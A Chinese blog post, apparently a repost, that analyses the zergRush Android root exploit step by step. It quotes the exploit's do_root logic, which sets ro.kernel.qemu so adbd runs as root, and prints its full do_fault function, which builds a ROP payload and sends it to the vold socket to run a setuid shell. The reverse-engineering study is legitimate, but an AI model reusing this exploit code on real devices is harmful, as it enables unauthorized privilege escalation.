古埃及科学家:【转】漏洞 — zergRush

来源:百度文库 编辑:偶看新闻 时间:2024/05/02 06:37:08

漏洞 — zergRush

分类: 移动安全 2011-10-12 15:17 620人阅读 评论(1) 收藏 举报

刚刚发现一个提权实现的代码,见:

https://github.com/revolutionary/zergRush/blob/master/zergRush.c

 

需要了解一下是哪个地方有问题,边分析边记录此次过程。 

文件不大,当然从 main 入手了, 

view plainprint?
  1. if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))  
  2.     do_root();  

 

明显,当有了 Root 能力后去做一个可以保持 Root 的动作,猜测,此程序会被调用多次,并且再次调用的时候程序名称为 boomsh

 

看一下 do_root 吧

写了一个属性 ro.kernel.qemu 为 1

明显是让手机当成模拟器运行,见 \android2.32\system\core\adb\adb.c 中的代码

view plainprint?
  1. /* run adbd in secure mode if ro.secure is set and 
  2. ** we are not in the emulator 
  3. */  
  4. property_get("ro.kernel.qemu", value, "");  
  5. if (strcmp(value, "1") != 0) {  
  6.     property_get("ro.secure", value, "");  
  7.     if (strcmp(value, "1") == 0) {  
  8.         // don't run as root if ro.secure is set...  
  9.         secure = 1;  
  10.   
  11.         // ... except we allow running as root in userdebug builds if the   
  12.         // service.adb.root property has been set by the "adb root" command  
  13.         property_get("ro.debuggable", value, "");  
  14.         if (strcmp(value, "1") == 0) {  
  15.             property_get("service.adb.root", value, "");  
  16.             if (strcmp(value, "1") == 0) {  
  17.                 secure = 0;  
  18.             }  
  19.         }  
  20.     }  
  21. }  


以后调用 adb 默认是 Root 用户了。 

----------------------- 无聊的分割线 -----------------------------

下面又做了一件事把自己拷贝到 /data/local/tmp/boomsh

把 SH 拷贝到 /data/local/tmp/sh

改变 /data/local/tmp/boomsh 的权限为 711 ,可执行了

 

然后获取 /system/bin/vold 程序的大小,

通过 heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 这样的一个计算,得到该程序的堆地址, 有点意思了,对 vold 程序有了歪脑筋了

用过在手机上用 ps 看一下,这个程序有是从 root  用户执行过来的。

 

然后获取了一下手机的版本号,只对 2.2 2.3 二个版本进行处理,并修正了一上 heap_addr  的地址。

然后又找了一下 system 系统调用函数的地址,放到 system_ptr 中

继续看 checkcrash()

>> 清除了一下 logcat 日志

>> 删除 /data/local/tmp/crashlog 文件

>> 简立一个子进程,去生成一下 crashlog 文件。

>> 调用 do_fault

>> 打开 crashlog 文件

>> 在 crashlog 中找到崩溃信息,找到 sp 寄存器地址。

 

等等,为什么崩溃呢,肯定是在 do_fault 中制造的,我们要看看这块了

这个函数比较乱,找找重点看

if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)

不错的信息,连接 vold ,又是它,以前听说过它有漏洞,这次还是它。

write(sock, buf, n+1)

写了一些信息,不知道什么信息,但是可以肯定的是,能让 vold 崩溃的信息。

 

下面回到 main  继续! 

一个 For 循环处理。

find_stack_addr 用了上面的相同方法,从崩溃信息中找到程序的栈地址,(至于怎么计算的,以后再去研究了) 

一些容错检查,略过! 

kill(logcat_pid, SIGKILL);
unlink(crashlog); 

find_rop_gadgets()

又一个陌生函数。看了,暂时看不出用途,貌似找点什么,继续!

 

下面就是再次调用 do_fault ,生成崩溃。

再次判断 sh 是否有没有 s 位, 如果有了,刚 ROOT 功了。

 

疑问来了,没发现怎么再次调用 boomsh 运行执行 do_root 啊。 顺着它拷贝出来的 sh 文件找找,搜索 bsh 变理的使用情况,发现如下地方:

 

view plainprint?
  1. static int do_fault()  
  2. {  
  3.     char buf[255];  
  4.     int sock = -1, n = 0, i;  
  5.     char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];  
  6.     uint32_t bsh_addr;  
  7.     char padding[128];  
  8.     int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);  
  9.   
  10.     memset(padding, 0, 128);  
  11.     strcpy(padding, "LORDZZZZzzzz");  
  12.     if(padding_sz > 0) {  
  13.         memset(padding+12, 'Z', padding_sz);  
  14.         printf("[*] Poping %d more zerglings\n", padding_sz);  
  15.     }  
  16.     else if(padding_sz < 0) {  
  17.         memset(padding, 0, 128);  
  18.         memset(padding, 'Z', 12+padding_sz);  
  19.     }  
  20.   
  21.     if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)  
  22.         die("[-] Error creating Nydus");  
  23.   
  24.     sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);  
  25.     sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);  
  26.     sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);  
  27.     sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);  
  28.     sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);  
  29.   
  30.     strcpy(buf, "ZERG");  
  31.     strcat(buf, " ZZ ");  
  32.     strcat(buf, s_stack_pivot_addr);  
  33.     for(i=3; i < buffsz+1; i++)  
  34.         strcat(buf, " ZZZZ");  
  35.     strcat(buf, " ");  
  36.     strcat(buf, s_heap_addr);  
  37.           
  38.     n = strlen(buf);  
  39.     bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;  
  40.       
  41.     if(check_addr(bsh_addr) == -1) {  
  42.         printf("[-] Colossus, we're doomed!\n");  
  43.         exit(-1);  
  44.     }  
  45.   
  46.     sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);  
  47.   
  48.     n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);  
  49.       
  50.     printf("[*] Sending %d zerglings ...\n", n);  
  51.   
  52.     if ((n = write(sock, buf, n+1)) < 0)  
  53.         die("[-] Nydus seems broken");  
  54.       
  55.     sleep(3);  
  56.     close(sock);  
  57.   
  58.     return n;  
  59. }  


看到上面加色的行了,原来他是用 socket 写的一个 shell code ,调用了他拷贝的 sh 程序。

在 vold 中执行 sh 肯定是 root 啊。

 

至此,原理很是清楚了, shell code 嘛,运行的时候把他 dump 出来用别的工具看吧!